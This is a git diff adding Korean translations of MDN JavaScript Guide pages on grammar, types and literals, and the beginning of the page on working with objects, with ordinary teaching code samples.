+   <li>{{Glossary("Symbol")}}. (ECMAScript 6에 도입) 인스턴스가 고유하고 불변인 데이터 형.</li>
+  </ul>
+ </li>
+ <li>그리고 {{Glossary("Object")}}</li>
+</ul>
+
+<p>이 데이터 형이 비교적 많지 않지만, 어플리케이션에 유용한 기능을 수행할 수 있습니다. {{jsxref("Object", "객체")}}와 {{jsxref("Function", "함수")}}는 언어의 다른 기본 요소입니다. 객체는 값을 위한 컨테이너, 함수는 어플리케이션이 수행할 수 있는 절차(procedure)로 생각할 수 있습니다.</p>
+
+<h3 id="자료형_변환">자료형 변환</h3>
+
+<p>JavaScript는 동적 형지정(정형) 언어입니다. 이는 변수를 선언할 때 데이터 형을 지정할 필요가 없음을 의미합니다. 또한 데이터 형이 스크립트 실행 도중 필요에 의해 자동으로 변환됨을 뜻합니다. 그래서, 예를 들어, 다음과 같이 변수를 정의할 수 있습니다.</p>
+
+<pre class="brush: js">var answer = 42;</pre>
+
+<p>그리고 나중에, 동일한 변수에 문자열 값을 할당할 수도 있습니다. 아래와 같이,</p>
+
+<pre class="brush: js">answer = "Thanks for all the fish...";
+</pre>
+
+<p>JavaScript는 동적 형지정 언어이므로, 이 할당은 오류 메시지가 발생하지 않습니다.</p>
+
+<p>숫자와 문자열 값 사이에 + 연산자를 포함한 식에서, JavaScript는 숫자 값을 문자열로 변환합니다. 예를 들어, 아래와 같은 문이 있습니다.</p>
+
+<pre class="brush: js">x = "The answer is " + 42 // "The answer is 42"
+y = 42 + " is the answer" // "42 is the answer"</pre>
+
+<p>다른 연산자를 포함한 식의 경우, JavaScript는 숫자 값을 문자열로 변환하지 않습니다. 예를 들면,</p>
+
+<pre class="brush: js">"37" - 7 // 30
+"37" + 7 // 377
+</pre>
+
+<h3 id="문자열을_숫자로_변환하기">문자열을 숫자로 변환하기</h3>
+
+<p>숫자를 나타내는 값이 문자열로 메모리에 있는 경우, 변환을 위한 메서드가 있습니다.</p>
+
+<ul>
+ <li>{{jsxref("parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("parseFloat", "parseFloat()")}}</li>
+</ul>
+
+<p><code>parseInt</code>는 오직 정수만 반환하므로, 소수에서는 사용성이 떨어집니다. 게다가 <code>parseInt</code>를 잘 사용하기 위해서는 항상 진법(Radix) 매개변수를 포함해야 합니다. 진법 매개변수는 변환에 사용될 진법을 지정하는데 사용됩니다.</p>
+
+<p>문자열을 숫자로 변환하는 대안은 +(단항 더하기) 연산자입니다.</p>
+
+<pre class="brush: js">"1.1" + "1.1" = "1.11.1"
+(+"1.1") + (+"1.1") = 2.2
+// 참고: 괄호는 명확성을 위해 추가, 필요한 것은 아닙니다.
+</pre>
+
+<h2 id="리터럴">리터럴</h2>
+
+<p>JavaScript에서 값을 나타내기 위해 리터럴을 사용합니다. 이는 말 그대로 스크립트에 부여한 고정값으로, 변수가 아닙니다. 이 절에서는 다음과 같은 형태의 리터럴을 설명합니다.</p>
+
+<ul>
+ <li>{{anch("배열_리터럴", "배열 리터럴")}}</li>
+ <li>{{anch("불린_리터럴", "불린 리터럴")}}</li>
+ <li>{{anch("부동_소수점_리터럴", "부동 소수점 리터럴")}}</li>
+ <li>{{anch("정수", "정수")}}</li>
+ <li>{{anch("객체_리터럴", "객체 리터럴")}}</li>
+ <li>{{anch("정규식_리터럴", "정규식 리터럴")}}</li>
+ <li>{{anch("문자열_리터럴", "문자열 리터럴")}}</li>
+</ul>
+
+<h3 id="배열_리터럴">배열 리터럴</h3>
+
+<p>배열 리터럴은 0개 이상의 식(expression) 목록입니다. 각 식은 배열 요소를 나타내고 대괄호(<code>[]</code>)로 묶입니다. 배열 리터럴을 사용하여 배열을 만들 때, 그 요소로 지정된 값으로 초기화되고, 그 길이는 지정된 인수의 갯수로 설정됩니다.</p>
+
+<p>아래 예제는 요소가 3개로 길이가 3인 coffees 배열을 만듭니다.</p>
+
+<pre class="brush: js">var coffees = ["French Roast", "Colombian", "Kona"];
+</pre>
+
+<div class="note">
+<p><strong>참고:</strong> 배열 리터럴은 일종의 객체 이니셜라이저(initialiizer)입니다. <a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Using_object_initializers">Using Object Initializers</a> 참고.</p>
+</div>
+
+<p>배열이 최상단 스크립트에서 리터럴을 사용하여 만들어진 경우, JavaScript는 배열 리터럴을 포함한 식을 평가할 때마다 배열로 해석합니다. 게다가, 함수에서 사용되는 리터럴은 함수가 호출될 때마다 생성됩니다.</p>
+
+<p>배열 리터럴은 배열 객체입니다. 배열 객체에 대한 자세한 내용은 {{jsxref("Array")}}와 <a href="/ko/docs/Web/JavaScript/Guide/Indexed_collections">Indexed collections</a> 참고.</p>
+
+<h4 id="배열_리터럴의_추가_쉼표">배열 리터럴의 추가 쉼표</h4>
+
+<p>배열 리터럴에서 모든 요소를 지정할 필요는 없습니다. 만약 잇달아 두 개의 쉼표를 두면, 배열은 지정되지 않은 요소를 <code>undefined</code>로 만듭니다. 다음 예제는 <code>fish</code> 배열을 만듭니다.</p>
+
+<pre class="brush: js">var fish = ["Lion", , "Angel"];
+</pre>
+
+<p>이 배열은 값이 있는 두 요소와 빈 요소 하나를 가집니다(<code>fish[0]</code>은 "Lion", <code>fish[1]</code>은 <code>undefined</code>, <code>fish[2]</code>는 "Angel").</p>
+
+<p>만약 요소 목록을 후행(trailing) 쉼표로 끝낸다면, 그 쉼표는 무시됩니다. 다음 예제에서, 배열의 길이는 3입니다. <code>myList[3]</code>은 없습니다. 목록의 다른 모든 쉼표는 새로운 요소를 나타냅니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 후행 쉼표는 구버전 브라우저에서 오류를 유발할 수 있으므로 제거하는게 최선입니다.</p>
+</div>
+
+<pre class="brush: js">var myList = ['home', , 'school', ];
+</pre>
+
+<p>아래 예제에서, 배열의 길이는 4이며, <code>myList[0]</code>과 <code>myList[2]</code>는 값이 빠졌습니다.</p>
+
+<pre class="brush: js">var myList = [ , 'home', , 'school'];
+</pre>
+
+<p>아래 예제에서, 배열의 길이는 4이며, <code>myList[1]</code>과 <code>myList[3]</code>은 값이 빠졌습니다. 마지막 쉼표는 무시됩니다.</p>
+
+<pre class="brush: js">var myList = ['home', , 'school', , ];
+</pre>
+
+<p>추가 쉼표의 동작을 이해하는 것은 JavaScript를 언어로서 이해하는데 중요하지만, 코드를 작성할 때는 빠진 요소의 값을 명시적으로 undefined로 선언하는 것이 코드의 명확성과 유지보수성을 높입니다.</p>
+
+<h3 id="불리언_리터럴">불리언 리터럴</h3>
+
+<p>불리언 형은 <code>true</code>와 <code>false</code>의 리터럴 값을 가집니다.</p>
+
+<p>원시 불린 값 <code>true</code> 및 <code>false</code>와 Boolean 객체의 true 및 false 값을 혼동하지 마세요. Boolean 객체는 원시 불린 데이터 형을 감싸는 래퍼(wrapper)입니다. 더 많은 정보는 {{jsxref("Boolean")}}을 참고하세요.</p>
+
+<h3 id="정수_리터럴">정수 리터럴</h3>
+
+<p>정수는 10진, 16진, 8진 및 2진수로 표현될 수 있습니다.</p>
+
+<ul>
+ <li>10진 정수 리터럴은 선행 0(zero)이 아닌 숫자열로 이루어집니다.</li>
+ <li>정수 리터럴에서 선행 0(zero)이나 선행 0o(혹은 0O)은 8진수임을 나타냅니다. 8진 정수는 오직 숫자 0-7만 포함할 수 있습니다.</li>
+ <li>선행 0x(나 0X)는 16진수임을 나타냅니다. 16진 정수는 숫자 0-9 및 문자 a-f, A-F를 포함할 수 있습니다.</li>
+ <li>선행 0b(나 0B)는 2진수임을 나타냅니다. 2진 정수는 오직 숫자 0과 1만 포함할 수 있습니다.</li>
+</ul>
+
+<p>다음은 정수 리터럴 예제입니다.</p>
+
+<pre class="eval">0, 117 및 -345 (10진수)
+015, 0001 및 -0o77 (8진수)
+0x1123, 0x00111 및 -0xF1A7 (16진수)
+0b11, 0b0011 및 -0b11 (2진수)
+</pre>
+
+<p>더 많은 정보는 <a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Lexical grammar reference의 Numeric literals</a>를 참고하세요.</p>
+
+<h3 id="부동_소수점_리터럴">부동 소수점 리터럴</h3>
+
+<p>부동 소수점 리터럴은 아래와 같은 부분으로 이루어집니다.</p>
+
+<ul>
+ <li>부호("+"나 "-")가 달릴 수 있는 10진 정수,</li>
+ <li>소수점("."),</li>
+ <li>소수(또 다른 10진수),</li>
+ <li>지수.</li>
+</ul>
+
+<p>지수부는 "e"나 "E" 다음에 오며 부호("+"나 "-")가 달릴 수 있는 정수입니다. 부동 소수점 리터럴은 적어도 숫자 하나와 소수점 혹은 "e"(나 "E")가 있어야 합니다.</p>
+
+<p>더 간결하게 설명하면, 구문은 다음과 같습니다.</p>
+
+<pre class="eval">[(+|-)][digits][.digits][(E|e)[(+|-)]digits]
+</pre>
+
+<p>예를 들면,</p>
+
+<pre class="eval">3.1415926
+-.123456789
+-3.1E+12
+.1e-23
+</pre>
+
+<h3 id="객체_리터럴">객체 리터럴</h3>
+
+<p>객체 리터럴은 중괄호({})로 묶인 0개 이상인 객체의 속성명과 관련 값 쌍 목록입니다. 문의 시작에 객체 리터럴을 사용해서는 안됩니다. 이는 {가 블록의 시작으로 해석되기 때문에 오류를 이끌거나 의도한 대로 동작하지 않습니다.</p>
+
+<p>아래는 객체 리터럴의 예제입니다. <code>car</code> 객체의 첫째 요소는 <code>myCar</code> 속성을 정의하고 문자열 <code>"Saturn"</code>을 할당합니다. 반면 둘째 요소인 <code>getCar</code> 속성은 <code>function (carTypes("Honda"))</code>을 호출한 결과가 즉시 할당됩니다. 셋째 요소 <code>special</code> 속성은 기존 변수 <code>sales</code>를 사용합니다.</p>
+
+<pre class="brush: js">var sales = "Toyota";
+
+function carTypes(name) {
+  if (name === "Honda") {
+    return name;
+  } else {
+
+  }
+    return "Sorry, we don't sell " + name + ".";
+}
+
+var car = { myCar: "Saturn", getCar: carTypes("Honda"), special: sales };
+
+console.log(car.myCar);   // Saturn
+console.log(car.getCar);  // Honda
+console.log(car.special); // Toyota
+</pre>
+
+<p>게다가, 속성명으로 숫자나 문자열 리터럴을 사용하거나 또다른 객체 리터럴 내부에 객체를 중첩할 수도 있습니다. 아래 예제는 이 옵션을 사용합니다.</p>
+
+<pre class="brush: js">var car = { manyCars: {a: "Saab", "b": "Jeep"}, 7: "Mazda" };
+
+console.log(car.manyCars.b); // Jeep
+console.log(car[7]); // Mazda
+</pre>
+
+<p>객체 속성명은 빈 문자열 포함 어떤 문자열도 될 수 있습니다. 속성명이 유효한 JavaScript {{Glossary("식별자")}}나 숫자가 아닌 경우, 따옴표로 묶여야 합니다. 또한 유효한 식별자가 아닌 속성명은 점(<code>.</code>) 속성으로 접근할 수 없습니다. 대신 배열 같은 표기법("<code>[]</code>")으로 접근하고 값을 설정할 수 있습니다.</p>
+
+<pre class="bursh: js">var unusualPropertyNames = {
+  "": "An empty string",
+  "!": "Bang!"
+}
+console.log(unusualPropertyNames."");   // SyntaxError: Unexpected string
+console.log(unusualPropertyNames[""]);  // An empty string
+console.log(unusualPropertyNames.!);    // SyntaxError: Unexpected token !
+console.log(unusualPropertyNames["!"]); // Bang!
+</pre>
+
+<h4 id="향상된_객체_리터럴">향상된 객체 리터럴</h4>
+
+<p>ES2015에서, 객체 리터럴은 구성에서 프로토타입 설정, foo: foo 할당을 위한 단축 표기, 메서드 정의, super 클래스 호출 및 식으로 동적인 속성명 계산을 지원하기 위해 확장됐습니다. 그에 따라 객체 리터럴 및 클래스 선언이 함께 더 가까워지고, 객체 기반 설계는 같은 일부 편의기능으로 득을 볼 수 있습니다.</p>
+
+<pre class="bursh: js">var obj = {
+    // __proto__
+    __proto__: theProtoObj,
+    // ‘handler: handler’의 단축 표기
+    handler,
+    // Methods
+    toString() {
+     // Super calls
+     return "d " + super.toString();
+    },
+    // Computed (dynamic) property names
+    [ 'prop_' + (() =&gt; 42)() ]: 42
+};</pre>
+
+<p>아래를 참고하세요.</p>
+
+<pre class="brush: js">var foo = {a: "alpha", 2: "two"};
+console.log(foo.a);    // alpha
+console.log(foo[2]);   // two
+//console.log(foo.2);  // Error: missing ) after argument list
+//console.log(foo[a]); // Error: a is not defined
+console.log(foo["a"]); // alpha
+console.log(foo["2"]); // two
+</pre>
+
+<h3 id="정규식_리터럴">정규식 리터럴</h3>
+
+<p>정규식 리터럴은 (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">정규식 상세</a>) 슬래시 사이에 감싸인 패턴입니다. 다음은 정규식 리터럴 예제입니다.</p>
+
+<pre class="brush: js">var re = /ab+c/;</pre>
+
+<h3 id="문자열_리터럴">문자열 리터럴</h3>
+
+<p>문자열 리터럴은 큰 따옴표(<code>"</code>) 혹은 작은 따옴표(<code>'</code>)로 묶인 0개 이상의 문자입니다. 문자열은 같은 형 따옴표, 즉 큰 따옴표 쌍이나 작은 따옴표 쌍으로 구분되어야 합니다. 아래는 문자열 리터럴의 예제입니다.</p>
+
+<pre class="brush: js">"foo"
+'bar'
+"1234"
+"one line \n another line"
+"John's cat"
+</pre>
+
+<p>문자열 리터럴 값은 문자열 객체의 모든 메서드를 호출할 수 있습니다. JavaScript는 자동으로 문자열 리터럴을 임시 문자열 객체로 변환, 메서드를 호출하고 나서 임시 문자열 객체를 폐기합니다. 또한 문자열 리터럴에서도 <code>String.length</code> 속성을 사용할 수 있습니다.</p>
+
+<pre class="brush: js">console.log("John's cat".length)
+// 공백을 포함한 문자열 내 심볼 갯수가 출력됩니다.
+// 여기서는, 10.
+</pre>
+
+<p>ES2015에서는, 템플릿 리터럴도 사용할 수 있습니다. 템플릿 문자열은 문자열 구성을 위한 달콤한 구문을 제공합니다. 이는 Perl, Python 등에 있는 문자열 삽입(interpolation) 기능과 비슷합니다. 마음대로, 문자열 구성을 사용자 정의하고 인젝션 공격을 피하거나 문자열 콘텐츠로 더 고레벨 데이터 구조를 구성하기 위한 태그가 추가될 수 있습니다.</p>
+
+<pre class="brush: js">// 기본적인 문자열 리터럴 생성
+`In JavaScript '\n' is a line-feed.`
+
+// 여러 줄 문자열
+`In JavaScript this is
+ not legal.`
+
+// 문자열 삽입
+var name = "Bob", time = "today";
+`Hello ${name}, how are you ${time}?`
+
+// Construct an HTTP request prefix is used to interpret the replacements and construction
+POST`http://foo.org/bar?a=${a}&amp;b=${b}
+     Content-Type: application/json
+     X-Credentials: ${credentials}
+     { "foo": ${foo},
+       "bar": ${bar}}`(myOnReadyStateChangeHandler);</pre>
+
+<p>꼭 문자열 객체를 사용할 필요가 없는 경우 문자열 리터럴을 사용해야 합니다. 문자열 객체에 대해 자세한 사항은 {{jsxref("String")}}을 참고하세요.</p>
+
+<h4 id="문자열에서_특수_문자_사용">문자열에서 특수 문자 사용</h4>
+
+<p>보통 문자에 더해서, 문자열에 아래 예제와 같이 특수 문자도 포함할 수 있습니다.</p>
+
+<pre class="brush: js">"one line \n another line"
+</pre>
+
+<p>다음 표는 JavaScript 문자열에 사용할 수 있는 특수 문자 목록입니다.</p>
+
+<table>
+ <caption>표: JavaScript 특수 문자</caption>
+ <thead>
+  <tr>
+   <th scope="col">문자</th>
+   <th scope="col">뜻</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\0</code></td>
+   <td>Null Byte</td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>Backspace</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>Form feed</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>New line</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>Carriage return</td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>Tab</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>Vertical tab</td>
+  </tr>
+  <tr>
+   <td><code>\'</code></td>
+   <td>Apostrophe 혹은 작은 따옴표</td>
+  </tr>
+  <tr>
+   <td><code>\"</code></td>
+   <td>큰 따옴표</td>
+  </tr>
+  <tr>
+   <td><code>\\</code></td>
+   <td>백슬래시</td>
+  </tr>
+  <tr>
+   <td><code>\<em>XXX</em></code></td>
+   <td>Latin-1 인코딩 문자는 0 - 377 사이 8진수 3자리까지 지정될 수 있습니다. 예를 들어, \251은 copyright 심볼을 표현하는 8진수 시퀀스입니다.</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>\x<em>XX</em></code></td>
+   <td>Latin-1 인코딩 문자는 00 - FF 사이의 16진수 2자리로 지정될 수 있습니다. 예를 들어, \xA9는 copyright 심볼을 표현하는 16진수 시퀀스입니다.</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>\u<em>XXXX</em></code></td>
+   <td>유니코드 문자는 16진수 4자리로 지정될 수 있습니다. 예를 들어, \u00A9는 copyright 심볼을 표현하는 유니코드 열입니다. <a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode escape sequences</a>를 참고하세요.</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>{XXXXX}</em></code></td>
+   <td>유니코드 코드 포인트 이스케이프. 예를 들어, \u{2F804}는 간단한 유니코드 이스케이프 \uD87E\uDC04와 같습니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="문자_이스케이프">문자 이스케이프</h4>
+
+<p>표에 없는 문자의 경우 전행 백슬래시는 무시되지만, 이 용법은 더 이상 사용되지 않으며, 사용을 피해야 합니다.</p>
+
+<p>전행 백슬래시와 함께 문자열 안에 따옴표를 사용할 수 있습니다. 이것을 따옴표 <em>이스케이프</em>라고 합니다. 예를 들어,</p>
+
+<pre class="brush: js">var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service.";
+console.log(quote);
+</pre>
+
+<p>이 코드의 결과는,</p>
+
+<pre class="eval">He read "The Cremation of Sam McGee" by R.W. Service.
+</pre>
+
+<p>백슬래시를 문자열 내에 포함시키기 위해서는, 백슬래시 문자를 이스케이프 해야 합니다. 예를 들어, 파일 경로 <code>c:\temp</code>를 문자열에 할당하기 위해서는 아래와 같이 사용합니다.</p>
+
+<pre class="brush: js">var home = "c:\\temp";
+</pre>
+
+<p>또한 줄바꿈 역시 전행 백슬래시로 이스케이프할 수 있습니다. 백슬래시와 줄바꿈 모두 문자열 값에서는 사라집니다.</p>
+
+<pre class="brush: js">var str = "this string \
+is broken \
+across multiple\
+lines."
+console.log(str);   // this string is broken across multiplelines.
+</pre>
+
+<p>JavaScript에는 "heredoc" 구문은 없지만, 줄바꿈 이스케이프와 각 줄 끝 이스케이프된 줄바꿈을 추가하여 흉내낼 수 있습니다.</p>
+
+<pre class="brush: js">var poem =
+"Roses are red,\n\
+Violets are blue.\n\
+I'm schizophrenic,\n\
+And so am I."
+</pre>
+
+<p>ECMAScript 2015에서는 템플릿 리터럴(<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/template_strings"><strong>template literals</strong></a>)이라는 새로운 리터럴이 소개되었습니다. 이 것은 다중 문자열을 포함한 많은 새로운 기능을 가지고 있습니다!</p>
+
+<pre dir="rtl"><code>var poem =
+`Roses are red,
+Violets are blue.
+Sugar is sweet,
+and so is foo.`</code>
+</pre>
+
+<h2 id="추가_정보">추가 정보</h2>
+
+<p>이 장은 선언과 형에 대한 기본 구문에 초점을 맞춥니다. JavaScript 언어 구조에 대해 더 많이 배우려면, 다음 장을 참고하세요.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">흐름 제어와 오류 처리</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration">루프와 반복</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98">함수</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators">식과 연산자</a></li>
+</ul>
+
+<p>다음 장에서는, 흐름 제어 구조와 오류 처리를 살핍니다.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/소개", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p>
diff --git a/files/ko/web/javascript/guide/working_with_objects/index.html b/files/ko/web/javascript/guide/working_with_objects/index.html
new file mode 100644
index 0000000000..192e22604c
--- /dev/null
+++ b/files/ko/web/javascript/guide/working_with_objects/index.html
@@ -0,0 +1,500 @@
+---
+title: Working with objects
+slug: Web/JavaScript/Guide/Working_with_Objects
+translation_of: Web/JavaScript/Guide/Working_with_Objects
+---
+<p>자바스크립트는 간단한 객체기반 패러다임 상에서 만들어졌다. 객체는 프로퍼티의 모음이며, 프로퍼티는 "이름"(name 또는 key)과 "값"(value)의 연결로 이루어진다 . 프로퍼티의 값으로 함수가 될 수 있는데, 이런 프로퍼티는 메소드라고 불린다. 브라우저 안에 미리 정의 된 객체뿐 아니라 사용자들이 직접 자신만의 객체를 정의할 수도 있다.</p>
+
+<p class="summary">이 절에서는 객체, 프로퍼티, 함수, 메소드가 어떻게 사용되는지, 그리고 사용자를 위한 새로운 객체를 생성하는 방법을 설명한다</p>
+
+<h2 id="개요">개요</h2>
+
+<p>자바스크립트에서의 객체는 다른 프로그래밍 언어에서와 비슷하게 현실 세계에서의 사물(objects)과 비교해 볼 수 있다. 자바스크립트에서의 객체의 개념은 실세계상에서의 인식 가능한 사물로 이해할 수 있다.</p>
+
+<p>객체는 단독으로 존재 가능한 개체(entity)이며, 프로퍼티(property)과 타입(type)을 가진다. 예를 들어 컵과 비교를 해 본다면 컵은 사물 객체인데 색깔, 모양, 무게, 재료 등의 속성(프로퍼티)을 가지고 있다. 비슷하게 자바스크립트의 객체는 그 특징을 결정짓는 여러 프로퍼티를 가진다.</p>
+
+<h2 id="객체와_프로퍼티">객체와 프로퍼티</h2>
+
+<p><span style="font-size: 14px; line-height: 1.5;">자바스크립트의 객체에는 그와 연관된 프로퍼티가 있다. 프로퍼티는 객체에 붙은 변수(variable)라고 설명할 수 있겠다. 객체의 프로퍼티는 일반 자바스크립의 변수와 기본적으로 똑같은데, 다만 객체에 속해있다는 차이만 있을 뿐이다. 객체의 프로퍼티들이 객체의 특징을 규정한다. 프로퍼티에 접근할 때는 도트(점) 표기법을 사용한다.</span></p>
+
+<pre class="brush: js">objectName.propertyName
+</pre>
+
+<p><span style="font-size: 14.39px; line-height: 16.79px;">자바스크립트의 모든 변수가 그렇듯이, 객체의 이름과 프로퍼티 이름은 모두 대소문자를 구별한다. 프로퍼티를 새로 정의하려면 그냥 이름과 값을 추가하면 된다. 예를 들어</span><span style="font-size: 14px; line-height: 1.5;"> </span><code style="line-height: 1.5; font-size: 14px; font-style: normal;">myCar</code><span style="font-size: 14px; line-height: 1.5;"> </span><span style="font-size: 14.39px; line-height: 16.79px;">라는 이름의 객체를 생성하고, 거기에</span><span style="font-size: 14px; line-height: 1.5;"> </span><code style="line-height: 1.5; font-size: 14px; font-style: normal;">make</code><span style="font-size: 14px; line-height: 1.5;">, </span><code style="line-height: 1.5; font-size: 14px; font-style: normal;">model</code><span style="font-size: 14px; line-height: 1.5;">, and </span><code style="line-height: 1.5; font-size: 14px; font-style: normal;">year</code><span style="font-size: 14px; line-height: 1.5;"> </span><span style="font-size: 14.39px; line-height: 16.79px;">라는 프로퍼티들을 추가해보자:</span></p>
+
+<pre class="brush: js">var myCar = new Object();
+myCar.make = "Ford";
+myCar.model = "Mustang";
+myCar.year = 1969;
+</pre>
+
+<p><span style="font-size: 14px; line-height: 1.5;">대괄호 표기법을 사용하여 객체의 프로퍼티에 접근할 수 있다. 객체는 연관배열(</span><em>associative arrays</em><span style="font-size: 14px; line-height: 1.5;">)이라고도 불리는데, 각 프로퍼티는 하나의 문자열 이름과 연관되어(associated) 이것을 통해 접근할 수 있기 때문이다. 예를 들면 </span><span style="font-family: courier new,andale mono,monospace; font-size: 14.39px; line-height: 16.79px;">myCar</span><span style="font-size: 14px; line-height: 1.5;"> 객체의 프로퍼티에 다음과 같이 접근할 수 있다.</span></p>
+
+<pre class="brush: js">myCar["make"] = "Ford";
+myCar["model"] = "Mustang";
+myCar["year"] = 1969;
+</pre>
+
+<p><span style="font-size: 14px; line-height: 1.5;">객체의 프로퍼티 이름은 유효한 자바스크립트 문자열이거나 문자열로 변환이 가능한 것이면 어떤 것이든 가능하며, 심지어 빈 문자열도 된다. 하지만 자바스크립트 식별자(identifier)로 적합하지 않으면 (예 : 하이픈, 빈칸을 포함하거나 숫자로 시작하는 이름), 대괄호를 이용한 표기법으로만 접근이 가능하다. 이 표기법은 프로퍼티 이름이 사전에 미리 결정되지 않고 런타임 시점에 결정되는 경우에 특히 유용하다. 아래의 예를 보자.</span></p>
+
+<pre class="brush: js">var myObj = new Object(),
+    str = "myString",
+    rand = Math.random(),
+    obj = new Object(); // 변수 4개를 콤마를 사용하여 한번에 생성하고 할당.
+
+myObj.type              = "Dot syntax";
+myObj["date created"]   = "String with space";
+myObj[str]              = "String value";
+myObj[rand]             = "Random Number";
+myObj[obj]              = "Object";
+myObj[""]               = "Even an empty string";
+
+console.log(myObj);
+</pre>
+
+<p><span style="font-size: 14px; line-height: 1.5;">변수에 저장된 문자열을 이용해서도 프로퍼티에 접근할 수 있다.</span></p>
+
+<div style="width: auto;">
+<pre class="brush: js">var propertyName = "make";
+myCar[propertyName] = "Ford";
+
+propertyName = "model";
+myCar[propertyName] = "Mustang";
+</pre>
+</div>
+
+<p>대괄호 표기법을 <a class="internal" href="/ko/docs/JavaScript/Guide/Statements#for...in_Statement" title="ko/docs/JavaScript/Guide/Statements#for...in Statement">for...in</a> 과 함께 사용하면 객체의 열거가능한 프로퍼티를 나열할 수 있다. 이것이 어떻게 작동하는지 알기 위해 아래의 함수를 보자. 이 함수는 객체와 객체 이름을 함수의 인자로 전달받아서 객체의 프로퍼티들을 출력해 준다.</p>
+
+<pre class="brush: js">function showProps(obj, objName) {
+  var result = "";
+  for (var i in obj) {
+    if (obj.hasOwnProperty(i)) {
+        result += objName + "." + i + " = " + obj[i] + "\n";
+    }
+  }
+  return result;
+}
+</pre>
+
+<p><code>showProps(myCar, "myCar")</code> 함수를 호출하면 다음과 같은 문자열을 반환한다.</p>
+
+<pre>myCar.make = Ford
+myCar.model = Mustang
+myCar.year = 1969</pre>
+
+<h2 id="모든_것이_객체">모든 것이 객체</h2>
+
+<p><span style="font-size: 14px; line-height: 1.5;">자바스크립트 세상에서는 거의 모든 것들이 객체이다. </span><code style="line-height: 16.79px; font-size: 14.39px; font-style: normal;">null</code><span style="font-size: 14.39px; line-height: 16.79px;"> 과 </span><code style="line-height: 16.79px; font-size: 14.39px; font-style: normal;">undefined</code><span style="font-size: 14.39px; line-height: 16.79px;"> 를 제외한 모든 </span><span style="font-size: 14px; line-height: 1.5;">원시 타입도 객체로 취급된다. 이러한 원시 타입들에도 프로퍼티가 추가될 수 있고 (설명 필요: </span><span style="font-size: 14.39px; line-height: 16.79px;">assigned properties of some types are not persistent), 모두 객체로서의 특징을 갖는다.</span></p>
+
+<h2 id="객체의_프로퍼티_나열하기">객체의 프로퍼티 나열하기</h2>
+
+<p><a href="/ko/docs/JavaScript/ECMAScript_5_support_in_Mozilla" title="ko/docs/JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5</a> 를 기준으로 객체의 프로퍼티를 나열/순회하는 방법이 세 가지 있다.</p>
+
+<ul>
+ <li><a href="/ko/docs/JavaScript/Reference/Statements/for...in" title="ko/docs/JavaScript/Reference/Statements/for...in">for...in</a> 루프<br>
+  이 방법은 객체와 객체의 프로토타입 체인 상의 열거 가능한 모든 프로퍼티를 순회한다.</li>
+ <li><a href="/ko/docs/JavaScript/Reference/Global_Objects/Object/keys" title="ko/docs/JavaScript/Reference/Global Objects/Object/keys">Object.keys(o)</a><br>
+  이 메소드는 객체 <span style="font-family: courier new,andale mono,monospace; font-size: 14.39px; line-height: 16.79px;">o</span><span style="font-size: 14.39px; line-height: 16.79px;"> </span> 자체에 속한(즉 프로토타입 체인 상에 있는 것은 제외)  열거 가능한 프로퍼티 이름들("keys")의 배열을 반환한다.</li>
+ <li><a href="/ko/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="ko/docs/JavaScript/Reference/Global Objects/Object/getOwnPropertyNames">Object.getOwnPropertyNames(o)</a><br>
+  이 메소드는 객체 <span style="font-family: courier new,andale mono,monospace; font-size: 14.39px; line-height: 16.79px;">o</span> 자체의 모든  프로퍼티(열거 가능 여부에 무관) 이름들의  배열을 반환한다.</li>
+</ul>
+
+<p>ECMAScript 5 이전 버전에서는 객체의 모든 프로퍼티를 나열하는 자체적인 방법이 제공되지 않았다. 하지만 아래 함수를 이용하면 가능하다.</p>
+
+<pre class="brush: js">function listAllProperties(o){
+	var objectToInspect;
+	var result = [];
+
+	for(objectToInspect = o; objectToInspect !== null; objectToInspect = Object.getPrototypeOf(objectToInspect)){
+		result = result.concat(Object.getOwnPropertyNames(objectToInspect));
+	}
+
+	return result;
+}
+</pre>
+
+<p>이 트릭은 객체의 "숨겨진" 프로퍼티를 알아내는 데 유용하다. (숨겨진 프로퍼티란 프로토타입 체인 상의 프로퍼티 중 객체를 통해 접근이 불가능한 것들을 말하는데 동일 이름의 다른 프로퍼티가 프로퍼티 체인 상에서 먼저 존재하는 경우에 발생한다).  만약 접근 가능한 프로퍼티만 나열하고 싶다면 배열에서 중복되는 프로퍼티들을 제거하면 된다.</p>
+
+<h2 id="객체_생성하기">객체 생성하기</h2>
+
